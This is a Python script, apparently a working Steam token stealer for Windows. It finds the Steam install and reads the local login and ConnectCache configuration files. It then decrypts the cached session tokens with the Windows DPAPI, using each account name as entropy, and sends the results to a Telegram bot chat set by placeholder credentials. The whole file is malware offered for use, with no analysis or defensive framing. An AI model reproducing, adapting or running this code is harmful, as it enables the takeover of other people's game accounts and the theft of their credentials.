import os
import sys
import binascii
from ctypes import *
from ctypes.wintypes import DWORD, LPVOID
import vdf
import requests

TELEGRAM_BOT_TOKEN = "Telegram Bot Token"
TELEGRAM_CHAT_ID = "Chat ID"

class DATA_BLOB(Structure):
    _fields_ = [("cbData", DWORD), ("pbData", LPVOID)]

crypt32 = windll.crypt32
kernel32 = windll.kernel32
kernel32.LocalFree.argtypes = [LPVOID]
kernel32.LocalFree.restype = LPVOID

def read_registry(key, value_name):
    try:
        import subprocess
        output = subprocess.check_output(["reg", "query", key, "/v", value_name], stderr=subprocess.DEVNULL, text=True)
        for line in output.splitlines():
            if value_name in line:
                return line.strip().split()[-1]
    except subprocess.CalledProcessError:
        return None

def get_steam_path():
    for key in [r"SOFTWARE\WOW6432Node\Valve\Steam", r"SOFTWARE\Valve\Steam"]:
        path = read_registry(r"HKEY_LOCAL_MACHINE\\" + key, "InstallPath")
        if path and os.path.exists(path):
            return path
    for p in [r"C:\Program Files (x86)\Steam", r"C:\Program Files\Steam"]:
        if os.path.exists(p):
            return p
    return None

def read_vdf(filepath):
    if not os.path.exists(filepath):
        return None
    with open(filepath, encoding="utf-8") as f:
        return vdf.load(f)

def extract_logins(path):
    logins = {}
    root = read_vdf(path)
    if not root:
        return logins
    for steamid, userinfo in root.get("users", {}).items():
        account_name = userinfo.get("AccountName")
        if account_name:
            logins[steamid] = account_name
    return logins

def extract_connect_cache(path):
    cache = {}
    root = read_vdf(path)
    if not root:
        return cache
    steam = root.get("MachineUserConfigStore", {}).get("Software", {}).get("Valve", {}).get("Steam") or {}
    for k, v in steam.get("ConnectCache", {}).items():
        if v:
            cache[k] = v
    return cache

def try_decrypt(encrypted_hex, entropy_str):
    encrypted_bytes = binascii.unhexlify(encrypted_hex)
    entropy_bytes = entropy_str.encode("utf-8")
    p_data_in = DATA_BLOB(len(encrypted_bytes), cast(create_string_buffer(encrypted_bytes), LPVOID))
    p_entropy = DATA_BLOB(len(entropy_bytes), cast(create_string_buffer(entropy_bytes), LPVOID))
    p_data_out = DATA_BLOB()
    if not crypt32.CryptUnprotectData(byref(p_data_in), None, byref(p_entropy), None, None, 0, byref(p_data_out)):
        return None
    buffer = string_at(p_data_out.pbData, p_data_out.cbData)
    kernel32.LocalFree(p_data_out.pbData)
    return buffer.decode("utf-8", errors="ignore")

def decrypt_tokens(cache, logins):
    tokens = []
    for enc in cache.values():
        for login in logins.values():
            decrypted = try_decrypt(enc, login)
            if decrypted:
                tokens.append(f"{login}.{decrypted}")
                break
    return tokens

def send_tokens(tokens, bot_token, chat_id):
    text = "\n".join(f"```\n{t}\n```" for t in tokens)
    requests.post(f"https://api.telegram.org/bot{bot_token}/sendMessage", data={"chat_id": chat_id, "text": text, "parse_mode": "Markdown"})

def get_tokens():
    steam_path = get_steam_path()
    if not steam_path:
        return
    loginusers_path = os.path.join(steam_path, "config", "loginusers.vdf")
    local_vdf_path = os.path.join(os.getenv("LOCALAPPDATA"), "Steam", "local.vdf")
    logins = extract_logins(loginusers_path)
    if not logins:
        return
    cache = extract_connect_cache(local_vdf_path)
    if not cache:
        return
    tokens = decrypt_tokens(cache, logins)
    if not tokens:
        return
    send_tokens(tokens, TELEGRAM_BOT_TOKEN, TELEGRAM_CHAT_ID)

if __name__ == "__main__":
    get_tokens()